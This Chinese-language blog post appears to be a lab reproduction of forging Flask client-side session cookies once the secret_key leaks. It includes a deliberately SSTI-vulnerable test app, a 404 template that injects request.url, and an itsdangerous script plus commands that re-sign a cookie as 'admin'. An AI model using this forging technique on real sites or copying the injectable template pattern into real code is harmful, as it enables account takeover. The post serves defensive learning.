前幾天看p牛的文章,學習了一波關於客戶端session的操作,文末提到了密鑰泄露,進一步可能造成身份偽造或者反序列化漏洞,於是自己搭了個flask環境做一下偽造身份的復現並做一下記錄。
#0x01 什么是客戶端session
對於我們熟悉的其它web開發環境,大部分對於session的處理都是將session寫入服務器本地一個文件,然后在cookie里設置一個sessionId的字段來區分不同用戶(常常是'/tmp/sess_'+sessionID),這一類就是在學校里學到的session保存在服務端,cookie保存在客戶端的那鍾服務端session。
然而,有些語言本身並不帶有良好的session存儲機制,於是采用其它的方法去對session進行處理,比如Django默認將session存在數據庫里(剛知道=。=),而輕量的flask對數據庫操作的框架也沒有,選擇了將session整個的存到cookie里(當然是加密后的),所以叫做客戶端session。
#0x02 flask對session的處理
sessions.py:
def get_signing_serializer(self, app): if not app.secret_key: return None signer_kwargs = dict( key_derivation=self.key_derivation, digest_method=self.digest_method ) return URLSafeTimedSerializer(app.secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs) def open_session(self, app, request): s = self.get_signing_serializer(app) if s is None: return None val = request.cookies.get(app.session_cookie_name) if not val: return self.session_class() max_age = total_seconds(app.permanent_session_lifetime) try: data = s.loads(val, max_age=max_age) return self.session_class(data) except BadSignature: return self.session_class() def save_session(self, app, session, response): domain = self.get_cookie_domain(app) path = self.get_cookie_path(app) # If the session is modified to be empty, remove the cookie. # If the session is empty, return without setting the cookie. if not session: if session.modified: response.delete_cookie( app.session_cookie_name, domain=domain, path=path ) return # Add a "Vary: Cookie" header if the session was accessed at all. if session.accessed: response.vary.add('Cookie') if not self.should_set_cookie(app, session): return httponly = self.get_cookie_httponly(app) secure = self.get_cookie_secure(app) samesite = self.get_cookie_samesite(app) expires = self.get_expiration_time(app, session) val = self.get_signing_serializer(app).dumps(dict(session)) response.set_cookie( app.session_cookie_name, val, expires=expires, httponly=httponly, domain=domain, path=path, secure=secure, samesite=samesite )
其中open和save分別對應着session的讀取和寫入,會打開一個URLSafeTimedSerializer對象,調取它的loads或是dumps方法,URLSafeTimedSerializer繼承了URLSafeSerializerMixin和TimedSerializer,包含了一些序列化處理。
在默認情況下,除了app.secret_key的值是未知的,其它的參數都是固定好的,如果項目使用了session機制,secret_key字段是被強制要求設定的,可以通過在配置文件里寫入固定字符串或啟動時隨機生成來獲得,假如攻擊者通過任意文件讀取或其它手段拿到了項目的secret_key,那么完全有可能解密和偽造cookie來控制用戶身份,進而做一些不可描述的事情。
例如如下代碼:
from itsdangerous import * import hashlib from flask.json.tag import TaggedJSONSerializer secret_key='f9cb5b2f-b670-4584-aad4-3e0603e011fe' salt='cookie-session' serializer=TaggedJSONSerializer() signer_kwargs=dict(key_derivation='hmac',digest_method=hashlib.sha1) sign_cookie='eyJ1c2VybmFtZSI6eyIgYiI6IllXUnRhVzQ9In19.XAquJg.AUEZAdrYhYCk3pg4iYy_NIpfpD0' val = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs) data= val.loads(sign_cookie) print data #{u'username': u'test'} crypt= val.dumps({'username': 'admin'}) print crypt
#0x03 flask的身份偽造復現
測試用的代碼比較簡單。
main.py:
1 # coding:utf8 2 3 import uuid 4 from flask import Flask, request, make_response, session,render_template, url_for, redirect, render_template_string 5 6 app = Flask(__name__) 7 app.config['SECRET_KEY']=str(uuid.uuid4()) 8 9 @app.route('/') 10 def index(): 11 app.logger.info(request.cookies) 12 13 try: 14 username=session['username'] 15 return render_template("index.html",username=username) 16 except Exception,e: 17 18 return """<form action="%s" method='post'> 19 <input type="text" name="username" required> 20 <input type="password" name="password" required> 21 <input type="submit" value="登錄"> 22 </form>""" %url_for("login") 23 24 25 @app.route("/login/", methods=['POST']) 26 def login(): 27 username = request.form.get("username") 28 password = request.form.get("password") 29 app.logger.info(username) 30 if username.strip(): 31 if username=="admin" and password!=str(uuid.uuid4()): 32 return "login failed" 33 app.logger.info(url_for('index')) 34 resp = make_response(redirect(url_for("index"))) 35 session['username']=username 36 return resp 37 else: 38 return "login failed" 39 40 @app.errorhandler(404) 41 def page_not_found(e): 42 template=''' 43 {%% block body %%} 44 <div class="center-content error"> 45 <h1>Oops! That page doesn't exist.</h1> 46 <h3>%s</h3> 47 </div> 48 {%% endblock %%} 49 '''%(request.url) 50 return render_template_string(template),404 51 52 @app.route("/logout") 53 def logout(): 54 resp = make_response(redirect(url_for("index"))) 55 session.pop('username') 56 return resp 57 58 if __name__ == "__main__": 59 app.run(host="0.0.0.0", port=9999, debug=True)
templates/index.html:
<!DOCTYPE html> <html> <body> username: {{ username }}, <a href="{{ url_for('logout') }}">logout</a> </body> </html>
主要實現了一個session實現的登錄操作,並特意留下了一個404頁面的ssti(關於flask的ctf比賽中常常會出現,據說開發人員經常會貪圖省事,不去單獨創建模板文件而使用這樣的模板字符串),可能還有其它bug。
登錄會顯示用戶名,正常情況下,admin用戶是無法登錄的。
利用404頁面的ssti讀取內置變量,還有其它一些常用方法可以參考:https://blog.csdn.net/qq_33020901/article/details/83036927
我之前登錄的cookie是:Cookie: session=eyJ1c2VybmFtZSI6ImhlaGUifQ.XApTkw.zcIUPrpo71h_doQs_GKtDlLesP8
使用session_cookie_manager.py解開得到用戶信息。
[root@192 temp]# python session_cookie_manager.py decode -s "a8bc2e85-d628-40f0-a56d-a86b19b4c1f9" -c "eyJ1c2VybmFtZSI6ImhlaG UifQ.XApTkw.zcIUPrpo71h_doQs_GKtDlLesP8"
{u'username': u'hehe'}
偽造admin用戶身份:
[root@192 temp]# python session_cookie_manager.py encode -s "a8bc2e85-d628-40f0-a56d-a86b19b4c1f9" -t "{u'username': u'admin' }"
eyJ1c2VybmFtZSI6ImFkbWluIn0.XArr2w.O2zQzR4fFLCrGhDLjWol8-mLp7E
提交生成的cookie:
直接用admin身份成功登錄。:)
#0x04感想
作為一個程序員,在需要開發某些功能或實現某些服務時經常會把別人實現好的代碼粗略看看就拿來用了,這篇文章教會我在特定情況下,如果對代碼的實現不夠了解,某些不是漏洞的機密配置不做修改,就會在你毫不知情的情況下,成為給他人打開防御大門的內奸,關鍵是你出了問題還不知道問題根源在哪里==。
參考:
https://www.leavesongs.com/PENETRATION/client-session-security.html
https://blog.csdn.net/qq_33850304/article/details/84726296